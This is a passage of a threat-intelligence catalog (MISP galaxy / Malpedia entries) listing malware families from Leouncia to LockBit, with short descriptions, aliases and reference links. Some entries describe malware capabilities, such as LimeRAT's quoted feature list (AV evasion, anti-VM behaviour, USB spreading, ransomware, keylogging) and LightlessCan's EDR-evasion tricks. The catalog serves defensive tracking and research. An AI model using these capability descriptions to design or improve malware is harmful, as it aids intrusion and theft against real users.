https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728
https://www.bitdefender.com/files/News/CaseStudies/study/373/Bitdefender-PR-Whitepaper-LemonDuck-creat4826-en-EN-GenericUse.pdf
https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/
https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer—a-ransomware—and-a-botnet-join-the-part.html
https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/
https://success.trendmicro.com/solution/000261916
https://asec.ahnlab.com/en/31811/
https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html
https://news.sophos.com/en-us/2019/10/01/lemon_duck-powershell-malware-cryptojacks-enterprise-networks/
https://notes.netbytesec.com/2021/06/lemon-duck-cryptominer-technical.html
https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/

https://cybotsai.com/lemon-duck-attack/
https://therecord.media/lemonduck-botnet-evolves-to-allow-hands-on-keyboard-intrusions/
https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/

Leouncia

The tag is: *misp-galaxy:malpedia="Leouncia"*

Leouncia is also known as:

- shoco

Table 4310. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.leouncia
https://www.fireeye.com/blog/threat-research/2010/12/leouncia-yet-another-backdoor-part-2.html
https://www.fireeye.com/blog/threat-research/2010/12/leouncia-yet-another-backdoor.html

Leslieloader

Leslieloader is a loader written in Golang, named after the observed AES decryption key referencing deceased actor, Leslie Cheung. The loader assists in the initial infection and deployment of the malicious payload, enabling execution on a system. The loader achieves its goal by decoding and decrypting a secondary payload binary, then injecting it into another process.

The tag is: *misp-galaxy:malpedia="Leslieloader"*

Leslieloader is also known as:

Table 4311. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.leslieloader
https://www.kroll.com/en/insights/publications/cyber/leslieloader-undocumented-loader-observed
https://thehackernews.com/2025/09/chinese-hackers-rednovember-target.html

Lethic

Lethic is a spambot dating back to 2008. It is known to be distributing low-level pharmaceutical spam.

The tag is: *misp-galaxy:malpedia="Lethic"*

Lethic is also known as:

Table 4312. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic
https://www.zscaler.com/blogs/security-research/lethic-botnet-returns-uses-realtek-identifier
http://www.vkremez.com/2017/11/lets-learn-lethic-spambot-survey-of.html
http://resources.infosecinstitute.com/win32lethic-botnet-analysis/
http://www.malware-traffic-analysis.net/2017/11/02/index.html
https://web.archive.org/web/20101031045748/http://www.m86security.com/labs/spambotitem.asp?article=1205

LetMeOut

The tag is: *misp-galaxy:malpedia="LetMeOut"*

LetMeOut is also known as:

Table 4313. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.letmeout
http://blog.nsfocus.net/murenshark/

LgoogLoader

LgoogLoader is an installer that drops three files: a batch file, an AutoIt interpreter, and an AutoIt script. After downloading, it executes the batch file.

The tag is: *misp-galaxy:malpedia="LgoogLoader"*

LgoogLoader is also known as:

Table 4314. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lgoogloader
https://inside.harfanglab.io/blog/articles/cyber-threat-intelligence/loader-galore-taskloader-at-the-start-of-a-pay-per-install-infection-chain/
https://blog.polyswarm.io/nullmixer-drops-multiple-malware-families

Liderc

The tag is: *misp-galaxy:malpedia="Liderc"*

Liderc is also known as:

- LEMPO

Table 4315. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.liderc
https://blog.talosintelligence.com/2019/09/tortoiseshell-fake-veterans.html
https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf
https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/
https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media

LIGHTBUNNY

The tag is: *misp-galaxy:malpedia="LIGHTBUNNY"*

LIGHTBUNNY is also known as:

Table 4316. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lightbunny
https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated

LightlessCan

LightlessCan is a complex HTTP(S) RAT, that is a successor of the Lazarus RAT named BlindingCan.

In Q2 2022 and Q1 2023, it was deployed in targeted attacks against an aerospace company in Spain and a technology company in India.

Besides the support for commands already present in BlindingCan, its most significant update is mimicked functionality of many native Windows commands: • ipconfig • net • netsh advfirewall firewall • netstat • reg • sc • ping (for both IPv4 and IPv6 protocols) • wmic process call create • nslookup • schstasks • systeminfo • arp

These native commands are often abused by the attackers after they have gotten a foothold in the target's system. Lightless is able to execute them discreetly within the RAT itself, rather than being executed visibly in the system console. This provides stealthiness, both in evading real-time monitoring solutions like EDRs, and postmortem digital forensic tools.

LightlessCan use RC6 for decryption of its configuration, and also for encryption and decryption of network traffic.

The tag is: *misp-galaxy:malpedia="LightlessCan"*

LightlessCan is also known as:

- SIDESHOW

Table 4317. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lightlesscan
https://www.welivesecurity.com/en/eset-research/lazarus-luring-employees-trojanized-coding-challenges-case-spanish-aerospace-company/
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf

LightNeuron

The tag is: *misp-galaxy:malpedia="LightNeuron"*

LightNeuron is also known as:

- NETTRANS
- XTRANS

Table 4318. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lightneuron
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments
https://www.welivesecurity.com/2019/05/07/turla-lightneuron-email-too-far/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.youtube.com/watch?v=vbS9YBVGD2Q
https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf
https://securelist.com/apt-trends-report-q2-2018/86487/

Lightning Stealer

Lightning stealer can target 30+ Firefox and Chromium-based browsers and steal crypto wallets, Telegram data, Discord tokens, and Steam user's data. Unlike other info stealers, Lightning Stealer stores all the stolen data in the JSON format for exfiltration.

The tag is: *misp-galaxy:malpedia="Lightning Stealer"*

Lightning Stealer is also known as:

Table 4319. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lightning_stealer
https://blog.cyble.com/2022/04/05/inside-lightning-stealer/

LIGHTRAIL

According to Mandiant, this is a tunneler, likely based on an open-source Socks4a proxy, that communicates using Azure cloud infrastructure.

The tag is: *misp-galaxy:malpedia="LIGHTRAIL"*

LIGHTRAIL is also known as:

Table 4320. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lightrail
https://www.mandiant.com/resources/blog/suspected-iranian-unc1549-targets-israel-middle-east

LIGHTWORK

According to Mandiant, LIGHTWORK is a disruption tool written in C++ that implements the IEC-104 protocol to modify the state of RTUs over TCP. It crafts configurable IEC-104 ASDU messages, to change the state of RTU IOAs to ON or OFF. This sample works in tandem with PIEHOP, which sets up the execution.

The tag is: *misp-galaxy:malpedia="LIGHTWORK"*

LIGHTWORK is also known as:

Table 4321. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lightwork
https://www.mandiant.com/resources/blog/cosmicenergy-ot-malware-russian-response

Ligsterac

The tag is: *misp-galaxy:malpedia="Ligsterac"*

Ligsterac is also known as:

Table 4322. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ligsterac

http://atm.cybercrime-tracker.net/index.php
https://securelist.com/atm-infector/74772/

Lilith

Lilith is a console-based ultra light-weight RAT developed in C++. It features a straight-forward set of commands that allows for near complete control of a machine.

The tag is: *misp-galaxy:malpedia="Lilith"*

Lilith is also known as:

Table 4323. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lilith
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/clasiopa-materials-research
https://s2w.inc/en/resource/detail/581
https://trojan-killer.net/how-to-remove-lilith-rat-complete-removal-guide/
https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group
https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt
https://asec.ahnlab.com/ko/58215/
https://blog.cyble.com/2022/07/12/new-ransomware-groups-on-the-rise/
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf
https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/
https://github.com/werkamsus/Lilith
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388

limedownloader

The tag is: *misp-galaxy:malpedia="limedownloader"*

limedownloader is also known as:

Table 4324. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.limedownloader
https://github.com/NYAN-x-CAT/Lime-Downloader

limeminer

The tag is: *misp-galaxy:malpedia="limeminer"*

limeminer is also known as:

Table 4325. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.limeminer
https://github.com/NYAN-x-CAT/Lime-Miner

LimePad

The tag is: *misp-galaxy:malpedia="LimePad"*

LimePad is also known as:

Table 4326. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.limepad
https://www.zscaler.com/blogs/security-research/apt-36-uses-new-ttps-and-new-tools-target-indian-governmental-organizations

LimeRAT

```
## Description
Simple yet powerful RAT for Windows machines. This project is simple and easy to
understand, It should give you a general knowledge about dotNET malwares and how it
behaves.
```

Main Features

- **.NET**
- Coded in Visual Basic .NET, Client required framework 2.0 or 4.0 dependency, And server is 4.0
- **Connection**
- Using pastebin.com as ip:port , Instead of noip.com DNS. And Also using multi-ports
- **Plugin**
- Using plugin system to decrease stub's size and lower the AV detection
- **Encryption**
- The communication between server & client is encrypted with AES
- **Spreading**
- Infecting all files and folders on USB drivers
- **Bypass**
- Low AV detection and undetected startup method
- **Lightweight**
- Payload size is about 25 KB
- **Anti Virtual Machines**
- Uninstall itself if the machine is virtual to avoid scanning or analyzing
- **Ransomware**
- Encrypting files on all HHD and USB with .Lime extension
- **XMR Miner**
- High performance Monero CPU miner with user idle\active optimizations
- **DDoS**
- Creating a powerful DDOS attack to make an online service unavailable
- **Crypto Stealer**
- Stealing Cryptocurrency sensitive data
- **Screen-Locker**
- Prevents user from accessing their Windows GUI
- **And more**
- On Connect Auto Task
- Force enable Windows RDP
- Persistence
- File manager
- Passowrds stealer
- Remote desktop

- Bitcoin grabber
- Downloader
- Keylogger

The tag is: *misp-galaxy:malpedia="LimeRAT"*

LimeRAT is also known as:

Table 4327. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
https://blog.yoroi.company/research/limerat-spreads-in-the-wild/
https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html
https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns
https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt
https://felipetarijon.github.io/2022-12-12-limerat-infecting-unskilled-threat-actors/
https://lab52.io/blog/apt-c-36-recent-activity-analysis/
https://threatmon.io/apt-blind-eagles-malware-arsenal-technical-analysis/
https://blog.reversinglabs.com/blog/rats-in-the-library
https://lab52.io/blog/literature-lover-targeting-colombia-with-limerat/
https://www.recordedfuture.com/research/tag-144s-persistent-grip-on-south-american-organizations
https://blog.talosintelligence.com/2022/04/asyncrat-3losh-update.html
https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/targeted-attack-on-government-agencies.html
https://any.run/cybersecurity-blog/limerat-malware-analysis/
https://github.com/NYAN-x-CAT/Lime-RAT/
https://www.youtube.com/watch?v=x-g-ZLeX8GM

Limitail

The tag is: *misp-galaxy:malpedia="Limitail"*

Limitail is also known as:

Table 4328. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.limitail

LinseningSvr

The tag is: *misp-galaxy:malpedia="LinseningSvr"*

LinseningSvr is also known as:

Table 4329. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.linseningsvr
https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators

LIONTAIL

The tag is: *misp-galaxy:malpedia="LIONTAIL"*

LIONTAIL is also known as:

Table 4330. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.liontail
https://darksys0x.net/Analysis-and-Reversing-of-srvnet2sys/
https://research.checkpoint.com/2023/from-albania-to-the-middle-east-the-scarred-manticore-is-listening/

Listrix

The tag is: *misp-galaxy:malpedia="Listrix"*

Listrix is also known as:

Table 4331. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix

https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks

LiteDuke

According to CarbonBlack, LiteDuke is a third stage backdoor. It appears to use the same dropper as PolyglotDuke. Its payload makes use of an AES encrypted SQLite database to store its configuration. LiteDuke supports a large number of individual commands including host information retrieval, file upload and download, and the ability to execute other code. LiteDuke C2 servers appear to be compromised servers, and the malware communicates with them using normal HTTP requests. It attempts to use a realistic User-Agent string to blend in better with normal HTTP traffic. ESET have dubbed it LiteDuke because it uses SQLite to store information such as its configuration.

The tag is: *misp-galaxy:malpedia="LiteDuke"*

LiteDuke is also known as:

Table 4332. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.liteduke
https://norfolkinfosec.com/looking-back-at-liteduke/
https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/

LiteHTTP

According to AlienVault, LiteHTTP bot is a new HTTP bot programmed in C#. The bot has the ability to collect system information, download and execute programs, and update and kill other bots present on the system.

The source is on GitHub: https://github.com/zettabithf/LiteHTTP

The tag is: *misp-galaxy:malpedia="LiteHTTP"*

LiteHTTP is also known as:

Table 4333. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.litehttp
https://github.com/zettabithf/LiteHTTP
https://viriback.com/recent-litehttp-activities-and-iocs/
https://malware.news/t/recent-litehttp-activities-and-iocs/21053

LOBSHOT

According to PCrisk, LOBSHOT is a type of malware with a feature called hVNC (Hidden Virtual Network Computing) that allows attackers to access a victim's computer without being noticed. The hVNC component is effective in evading fraud detection systems. Also, LOBSHOT is being used to carry out financial crimes through the use of banking trojan and information-stealing functionalities.

The tag is: *misp-galaxy:malpedia="LOBSHOT"*

LOBSHOT is also known as:

Table 4334. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lobshot
https://www.elastic.co/de/security-labs/elastic-security-labs-discovers-lobshot-malware
https://research.openanalysis.net/lobshot/bot/hvnc/triage/2023/07/16/lobshot.html

LockBit (Windows)

The tag is: *misp-galaxy:malpedia="LockBit (Windows)"*

LockBit (Windows) is also known as:

- ABCD Ransomware

Table 4335. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit
https://security.packt.com/understanding-lockbit/
https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf
https://securelist.com/cyber-anarchy-squad-attacks-with-uncommon-trojans/114990/
https://www.advanced-intel.com/post/from-russia-with-lockbit-ransomware-inside-look-preventive-solutions
https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockbit-targets-servers
https://blog.calif.io/p/dissecting-lockbit-v3-ransomware
https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-claims-attack-on-bridgestone-americas/
https://www.crowdstrike.com/blog/how-crowdstrike-prevents-volume-shadow-tampering-by-lockbit-ransomware/

https://github.com/EmissarySpider/ransomware-descendants
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor
https://twitter.com/MsftSecIntel/status/1522690116979855360
https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker
https://asec.ahnlab.com/en/41450/
https://services.google.com/fh/files/misc/m-trends-2025-en.pdf
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/
https://seguranca-informatica.pt/malware-analysis-details-on-lockbit-ransomware/
https://techcommunity.microsoft.com/t5/security-compliance-and-identity/part-1-lockbit-2-0-ransomware-bugs-and-database-recovery/ba-p/3254354
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/
https://www.ic3.gov/Media/News/2022/220204.pdf
https://news.sophos.com/en-us/2023/12/20/cryptoguard-an-asymmetric-approach-to-the-ransomware-battle/
https://www.linkedin.com/pulse/intrusion-insights-straight-from-leaked-operator-chats-ahmad-abdillah-p1ejc?utm_source=share&utm_medium=member_ios&utm_campaign=share_via
https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants
https://www.trendmicro.com/en_us/research/24/d/operation-cronos-aftermath.html
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel
https://analyst1.com/lockbit-takedown-operation-cronos-a-long-awaited-psyops-against-ransomware/
https://www.netskope.com/blog/netskope-threat-coverage-lockbit
https://www.washingtonpost.com/business/2024/02/20/lockbit-ransomware-cronos-nca-fbi/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.seqrite.com/blog/indian-power-sector-targeted-with-latest-lockbit-3-0-variant/
https://www.sentinelone.com/labs/lockbit-3-0-update-unpicking-the-ransomwares-latest-anti-analysis-and-evasion-techniques/
https://www.mbsd.jp/2021/10/27/assets/images/MBSD_WhitePaper_A-deep-dive-analysis-of-LockBit2.0_Ransomware.pdf
https://nationalcrimeagency.gov.uk/news/nca-leads-international-investigation-targeting-worlds-most-harmful-ransomware-group
https://resources.prodaft.com/wazawaka-report

https://asec.ahnlab.com/en/35822/

https://www.crypsisgroup.com/insights/ransomwares-new-trend-exfiltration-and-extortion

https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/

https://ke-la.com/lockbit-2-0-interview-with-russian-osint/

https://github.com/echocti/ECHO-Reports/blob/main/Malware%20Analysis%20Report/LockBit_3.0/LockBit%20Technical%20Analysis%20Report.pdf

https://research.loginsoft.com/threat-research/taming-the-storm-understanding-and-mitigating-the-consequences-of-cve-2023-27350/

https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/481/original/010421_LockBit_Interview.pdf

https://0x0d4y.blog/lockbit4-0-evasion-tales/

https://securityaffairs.com/141666/cyber-crime/lockbit-green-ransomware-variant.html

https://www.intrinsec.com/alphv-ransomware-gang-analysis

https://techcommunity.microsoft.com/t5/security-compliance-and-identity/part-2-lockbit-2-0-ransomware-bugs-and-database-recovery/ba-p/3254421

https://therecord.media/australian-cybersecurity-agency-warns-of-spike-in-lockbit-ransomware-attacks/

https://news.sophos.com/en-us/2020/10/21/lockbit-attackers-uses-automated-attack-tools-to-identify-tasty-targets

https://medium.com/@lcam/lighting-the-exfiltration-infrastructure-of-a-lockbit-affiliate-and-more-f57fbb7a4e79

https://medium.com/s2wblog/quick-overview-of-leaked-lockbit-3-0-black-builder-program-880ae511d085

https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022

https://www.prodaft.com/m/reports/LockBit_Case_Report_TLPWHITE.pdf

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-lockbit

https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities
https://www.forescout.com/blog/new-ransomware-operator-exploits-fortinet-vulnerability-duo/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://blog.lexfo.fr/lockbit-malware.html
https://www.crowdstrike.com/blog/better-together-global-attitude-survey-takeaways-2021/
https://www.glimps.fr/lockbit3-0/
https://news.sophos.com/en-us/2022/04/12/attackers-linger-on-government-agency-computers-before-deploying-lockbit-ransomware/
https://cluster25.io/2022/07/06/lockbit-3-0-making-the-ransomware-great-again/
https://redcanary.com/blog/intelligence-insights-november-2021/
https://services.google.com/fh/files/misc/threat_horizons_report_h1_2025.pdf
https://www.trendmicro.com/en_us/research/21/h/lockbit-resurfaces-with-version-2-0-ransomware-detections-in-chi.html
https://securelist.com/crimeware-report-lockbit-switchsymb/110068/
https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023
https://blogs.vmware.com/security/2022/10/lockbit-3-0-also-known-as-lockbit-black.html
https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf
https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1
https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Lockbit.md
https://amgedwageh.medium.com/lockbit-ransomware-analysis-notes-93a542fc8511
https://securelist.com/modern-ransomware-groups-ttps/106824/
https://securelist.com/new-ransomware-trends-in-2022/106457/
https://www.bleepingcomputer.com/news/security/lockbit-victim-estimates-cost-of-ransomware-attack-to-be-42-million/
https://twitter.com/fs0c131y/status/1787852663595454807?t=xQbXF31IBgJ7c7tzTpTtlg
https://www.zdnet.com/article/ransomware-hits-helicopter-maker-kopter/
https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/
https://github.com/prodaft/malware-ioc/tree/master/PTI-257
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://analyst1.com/ransomware-diaries-volume-1/
https://socradar.io/lockbit-3-another-upgrade-to-worlds-most-active-ransomware/
https://www.logpoint.com/en/blog/hunting-lockbit-variations-using-logpoint/
https://www.cybereason.com/blog/threat-analysis-report-lockbit-2.0-all-paths-lead-to-ransom

https://thedfirreport.com/2025/01/27/cobalt-strike-and-a-pair-of-socks-lead-to-lockbit-ransomware/

https://cybergeeks.tech/a-technical-analysis-of-the-leaked-lockbit-3-0-builder/

https://medium.com/@amgedwageh/lockbit-ransomware-analysis-notes-93a542fc8511

https://www.sentinelone.com/labs/nullbulge-threat-actor-masquerades-as-hacktivist-group-rebelling-against-ai/

https://www.bleepingcomputer.com/news/security/lockbit-ransomware-recruiting-insiders-to-breach-corporate-networks/

https://www.trendmicro.com/en_us/research/25/i/lockbit-5-targets-windows-linux-esxi.html

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt

https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

https://www.fortinet.com/blog/threat-research/emerging-lockbit-campaign

https://blog.cyble.com/2022/07/05/lockbit-3-0-ransomware-group-launches-new-version/

https://www.intrinsec.com/wp-content/uploads/2025/10/TLP-CLEAR-31072025-ShadowSyndicate-infrastructure-illumination-EN.pdf

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://www.lemagit.fr/actualites/252516821/Ransomware-LockBit-30-commence-a-etre-utilise-dans-des-cyberattaques

https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/

https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/

https://krebsonsecurity.com/2024/05/u-s-charges-russian-man-as-boss-of-lockbit-ransomware-group/

https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf

https://securityintelligence.com/posts/lockbit-ransomware-attacks-surge-affiliate-recruitment/

https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html

https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html

https://therecord.media/missed-opportunity-bug-in-lockbit-ransomware-allowed-free-decryptions/

https://www.bleepingcomputer.com/news/security/energy-group-erg-reports-minor-disruptions-after-ransomware-attack/

https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/

https://www.glimps.fr/dcouverte-dune-nouvelle-version-du-ramsomware-lockbit/

https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack

https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool

https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/

https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve

https://www.s-rminform.com/cyber-intelligence-briefing/exmatter-malware-levels-up

https://analyst1.com/this-forum-is-a-bunch-of-communists-and-they-set-me-up-lockbit-spills-the-tea-regarding-their-recent-ban-on-russian-speaking-forums/

https://unit42.paloaltonetworks.com/emerging-ransomware-groups/

https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/

https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1

https://www.cybereason.com/blog/rising-threat-from-lockbit-ransomware

https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments

https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/

https://news.sophos.com/en-us/2022/11/30/lockbit-3-0-black-attacks-and-leaks-reveal-wormable-capabilities-and-tooling/

https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf

https://blog.minerva-labs.com/lockbit-3.0-aka-lockbit-black-is-here-with-a-new-icon-new-ransom-note-new-wallpaper-but-less-evasiveness

https://skyblue.team/posts/hive-recovery-from-lockbit-2.0/

https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions

https://asec.ahnlab.com/ko/39682/

https://www.trendmicro.com/en_us/research/22/g/lockbit-ransomware-group-augments-its-latest-variant—lockbit-3-.html

https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility

https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-gets-aggressive-with-triple-extortion-tactic/

https://www.bleepingcomputer.com/news/security/lockbit-ransomware-now-encrypts-windows-domains-using-group-policies/

https://unit42.paloaltonetworks.com/lockbit-2-ransomware/

https://www.seqrite.com/blog/uncovering-lockbit-blacks-attack-chain-and-anti-forensic-activity/
https://www.europol.europa.eu/media-press/newsroom/news/law-enforcement-disrupt-worlds-biggest-ransomware-operation
https://www.youtube.com/watch?v=C733AyPzkoc
https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/
https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://intel471.com/blog/privateloader-malware
https://www.cisa.gov/sites/default/files/2023-06/aa23-165a_understanding_TA_LockBit_0.pdf
https://www.connectwise.com/resources/lockbit-profile
https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html
https://www.bleepingcomputer.com/news/security/uk-rail-network-merseyrail-likely-hit-by-lockbit-ransomware/
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
